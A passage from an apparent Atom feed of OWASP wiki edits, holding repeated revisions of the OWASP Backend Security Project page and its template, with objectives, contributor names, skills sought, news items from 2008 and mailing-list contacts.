| maintainer_name = Carlo Pelliccioni&lt;br /&gt;
| maintainer_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| maintainer_username =  &lt;br /&gt;
| contributor_name1 = Daniele Bellucci&lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 =  &lt;br /&gt;
| contributor_name2 = Erik Sonnleitner&lt;br /&gt;
| contributor_email2 = &lt;br /&gt;
| contributor_username2 = &lt;br /&gt;
| contributor_name3 = Francesco Perna&lt;br /&gt;
| contributor_email3 = &lt;br /&gt;
| contributor_username3 = &lt;br /&gt;
| contributor_name4 = Giuseppe Gottardi&lt;br /&gt;
| contributor_email4 = &lt;br /&gt;
| contributor_username4 = &lt;br /&gt;
| contributor_name5 = Guido Landi&lt;br /&gt;
| contributor_email5 = &lt;br /&gt;
| contributor_username5 = &lt;br /&gt;
| contributor_name6 = Guido Pederzini&lt;br /&gt;
| contributor_email6 = &lt;br /&gt;
| contributor_username6 = &lt;br /&gt;
| contributor_name7 = Maurizio Agazzini&lt;br /&gt;
| contributor_email7 = &lt;br /&gt;
| contributor_username7 = &lt;br /&gt;
| contributor_name8 = Massimo Biagiotti&lt;br /&gt;
| contributor_email8 = &lt;br /&gt;
| contributor_username8 = &lt;br /&gt;
| contributor_name9 = Pasquale de Rinaldis&lt;br /&gt;
| contributor_email9 = &lt;br /&gt;
| contributor_username9 = &lt;br /&gt;
| contributor_name10 = &lt;br /&gt;
| contributor_email10 = &lt;br /&gt;
| contributor_username10 =  &lt;br /&gt;
| pamphlet_link = &lt;br /&gt;
| presentation_link =&lt;br /&gt;
| mailing_list_name = https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
| links_url3 = &lt;br /&gt;
| links_name3 = &lt;br /&gt;
| links_url4 = &lt;br /&gt;
| links_name4 = &lt;br /&gt;
| links_url5 = &lt;br /&gt;
| links_name5 = &lt;br /&gt;
| links_url6 = &lt;br /&gt;
| links_name6 = &lt;br /&gt;
| links_url7 = &lt;br /&gt;
| links_name7 = &lt;br /&gt;
| links_url8 = &lt;br /&gt;
| links_name8 = &lt;br /&gt;
| links_url9 = &lt;br /&gt;
| links_name9 = &lt;br /&gt;
| links_url10 = &lt;br /&gt;
| links_name10 = &lt;br /&gt;
| project_road_map = :Category:OWASP XXXXXX Project - Roadmap&lt;br /&gt;
| project_health_status = &lt;br /&gt;
| current_release_name = First Release&lt;br /&gt;
| current_release_date = &lt;br /&gt;
| current_release_download_link = &lt;br /&gt;
| current_release_rating = &lt;br /&gt;
| current_release_leader_name = &lt;br /&gt;
| current_release_leader_email = &lt;br /&gt;
| current_release_leader_username = &lt;br /&gt;
| current_release_details = :Category:OWASP  XXXXX Project - First Release&lt;br /&gt;
| last_reviewed_release_name = &lt;br /&gt;
| last_reviewed_release_date = &lt;br /&gt;
| last_reviewed_release_download_link = &lt;br /&gt;
| last_reviewed_release_rating = &lt;br /&gt;
| last_reviewed_release_leader_name = &lt;br /&gt;
| last_reviewed_release_leader_email = &lt;br /&gt;
| last_reviewed_release_leader_username = &lt;br /&gt;
| old_release_name1 = &lt;br /&gt;
| old_release_date1 = &lt;br /&gt;
| old_release_download_link1 = &lt;br /&gt;
| old_release_name2 = &lt;br /&gt;
| old_release_date2 = &lt;br /&gt;
| old_release_download_link2 = &lt;br /&gt;
| old_release_name3 = &lt;br /&gt;
| old_release_date3 = &lt;br /&gt;
| old_release_download_link3 = &lt;br /&gt;
| old_release_name4 = &lt;br /&gt;
| old_release_date4 = &lt;br /&gt;
| old_release_download_link4 = &lt;br /&gt;
| old_release_name5 = &lt;br /&gt;
| old_release_date5 = &lt;br /&gt;
| old_release_download_link5 = &lt;br /&gt;
| last_GPC_update = 2/10/2009&lt;br /&gt;
| GPC_Notes = Empty template&lt;br /&gt;
| project_home_page = Category:OWASP_Backend_Security_Project &lt;br /&gt;
| project_details_wiki_page = GPC_Project_Details/OWASP_Backend_Security_Project&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72305</id>
		<title>GPC Project Details/OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72305"/>
				<updated>2009-10-27T08:23:08Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:&amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;OWASP Project Identification Tab&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Backend Security Project&lt;br /&gt;
| project_description = This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture. &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name = Carlo Pelliccioni&lt;br /&gt;
| leader_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| leader_username = Carlo.pelliccioni&lt;br /&gt;
| past_leaders_special_contributions = &lt;br /&gt;
| maintainer_name = Carlo Pelliccioni&lt;br /&gt;
| maintainer_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| maintainer_username =  &lt;br /&gt;
| contributor_name1 = Daniele Bellucci&lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 =  &lt;br /&gt;
| contributor_name2 = Erik Sonnleitner&lt;br /&gt;
| contributor_email2 = &lt;br /&gt;
| contributor_username2 = &lt;br /&gt;
| contributor_name3 = Francesco Perna&lt;br /&gt;
| contributor_email3 = &lt;br /&gt;
| contributor_username3 = &lt;br /&gt;
| contributor_name4 = Giuseppe Gottardi&lt;br /&gt;
| contributor_email4 = &lt;br /&gt;
| contributor_username4 = &lt;br /&gt;
| contributor_name5 = Guido Landi&lt;br /&gt;
| contributor_email5 = &lt;br /&gt;
| contributor_username5 = &lt;br /&gt;
| contributor_name6 = Guido Pederzini&lt;br /&gt;
| contributor_email6 = &lt;br /&gt;
| contributor_username6 = &lt;br /&gt;
| contributor_name7 = Maurizio Agazzini&lt;br /&gt;
| contributor_email7 = &lt;br /&gt;
| contributor_username7 = &lt;br /&gt;
| contributor_name8 = Massimo Biagiotti&lt;br /&gt;
| contributor_email8 = &lt;br /&gt;
| contributor_username8 = &lt;br /&gt;
| contributor_name9 = Pasquale de Rinaldis&lt;br /&gt;
| contributor_email9 = &lt;br /&gt;
| contributor_username9 = &lt;br /&gt;
| contributor_name10 = &lt;br /&gt;
| contributor_email10 = &lt;br /&gt;
| contributor_username10 =  &lt;br /&gt;
| pamphlet_link = &lt;br /&gt;
| presentation_link =&lt;br /&gt;
| mailing_list_name =&lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
| links_url3 = &lt;br /&gt;
| links_name3 = &lt;br /&gt;
| links_url4 = &lt;br /&gt;
| links_name4 = &lt;br /&gt;
| links_url5 = &lt;br /&gt;
| links_name5 = &lt;br /&gt;
| links_url6 = &lt;br /&gt;
| links_name6 = &lt;br /&gt;
| links_url7 = &lt;br /&gt;
| links_name7 = &lt;br /&gt;
| links_url8 = &lt;br /&gt;
| links_name8 = &lt;br /&gt;
| links_url9 = &lt;br /&gt;
| links_name9 = &lt;br /&gt;
| links_url10 = &lt;br /&gt;
| links_name10 = &lt;br /&gt;
| project_road_map = :Category:OWASP XXXXXX Project - Roadmap&lt;br /&gt;
| project_health_status = &lt;br /&gt;
| current_release_name = First Release&lt;br /&gt;
| current_release_date = &lt;br /&gt;
| current_release_download_link = &lt;br /&gt;
| current_release_rating = &lt;br /&gt;
| current_release_leader_name = &lt;br /&gt;
| current_release_leader_email = &lt;br /&gt;
| current_release_leader_username = &lt;br /&gt;
| current_release_details = :Category:OWASP  XXXXX Project - First Release&lt;br /&gt;
| last_reviewed_release_name = &lt;br /&gt;
| last_reviewed_release_date = &lt;br /&gt;
| last_reviewed_release_download_link = &lt;br /&gt;
| last_reviewed_release_rating = &lt;br /&gt;
| last_reviewed_release_leader_name = &lt;br /&gt;
| last_reviewed_release_leader_email = &lt;br /&gt;
| last_reviewed_release_leader_username = &lt;br /&gt;
| old_release_name1 = &lt;br /&gt;
| old_release_date1 = &lt;br /&gt;
| old_release_download_link1 = &lt;br /&gt;
| old_release_name2 = &lt;br /&gt;
| old_release_date2 = &lt;br /&gt;
| old_release_download_link2 = &lt;br /&gt;
| old_release_name3 = &lt;br /&gt;
| old_release_date3 = &lt;br /&gt;
| old_release_download_link3 = &lt;br /&gt;
| old_release_name4 = &lt;br /&gt;
| old_release_date4 = &lt;br /&gt;
| old_release_download_link4 = &lt;br /&gt;
| old_release_name5 = &lt;br /&gt;
| old_release_date5 = &lt;br /&gt;
| old_release_download_link5 = &lt;br /&gt;
| last_GPC_update = 2/10/2009&lt;br /&gt;
| GPC_Notes = Empty template&lt;br /&gt;
| project_home_page = Category:OWASP_Backend_Security_Project &lt;br /&gt;
| project_details_wiki_page = GPC_Project_Details/OWASP_Backend_Security_Project&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:OWASP_Backend_Security_Project_1.0beta.doc&amp;diff=49709</id>
		<title>File:OWASP Backend Security Project 1.0beta.doc</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:OWASP_Backend_Security_Project_1.0beta.doc&amp;diff=49709"/>
				<updated>2008-12-22T12:20:59Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=49708</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=49708"/>
				<updated>2008-12-22T12:17:25Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available PDF version: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.pdf OWASP Backend Security Project 1.0 beta.pdf]&lt;br /&gt;
&lt;br /&gt;
Now Available DOC version: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.doc OWASP Backend Security Project 1.0 beta.doc]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
11/21/2008 - New [http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project. &lt;br /&gt;
&lt;br /&gt;
11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=49707</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=49707"/>
				<updated>2008-12-22T12:16:58Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available PDF version: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.pdf OWASP Backend Security Project 1.0 beta.pdf]&lt;br /&gt;
&lt;br /&gt;
Now Available DOC version: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.doc OWASP Backend Security Project 1.0 beta.doc]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
11/21/2008 - New [http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project. &lt;br /&gt;
&lt;br /&gt;
11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=49706</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=49706"/>
				<updated>2008-12-22T12:16:20Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available PDF version: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.pdf OWASP Backend Security Project 1.0 beta.pdf]&lt;br /&gt;
Now Available DOC version: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.doc OWASP Backend Security Project 1.0 beta.doc]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
11/21/2008 - New [http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project. &lt;br /&gt;
&lt;br /&gt;
11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=49705</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=49705"/>
				<updated>2008-12-22T12:14:36Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available: [https://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta.pdf OWASP Backend Security Project 1.0 beta.pdf]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
11/21/2008 - New [http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project. &lt;br /&gt;
&lt;br /&gt;
11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:OWASP_Backend_Security_Project_1.0beta.pdf&amp;diff=49704</id>
		<title>File:OWASP Backend Security Project 1.0beta.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:OWASP_Backend_Security_Project_1.0beta.pdf&amp;diff=49704"/>
				<updated>2008-12-22T12:12:03Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=49702</id>
		<title>Project Information:template Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=49702"/>
				<updated>2008-12-22T12:02:45Z</updated>
		
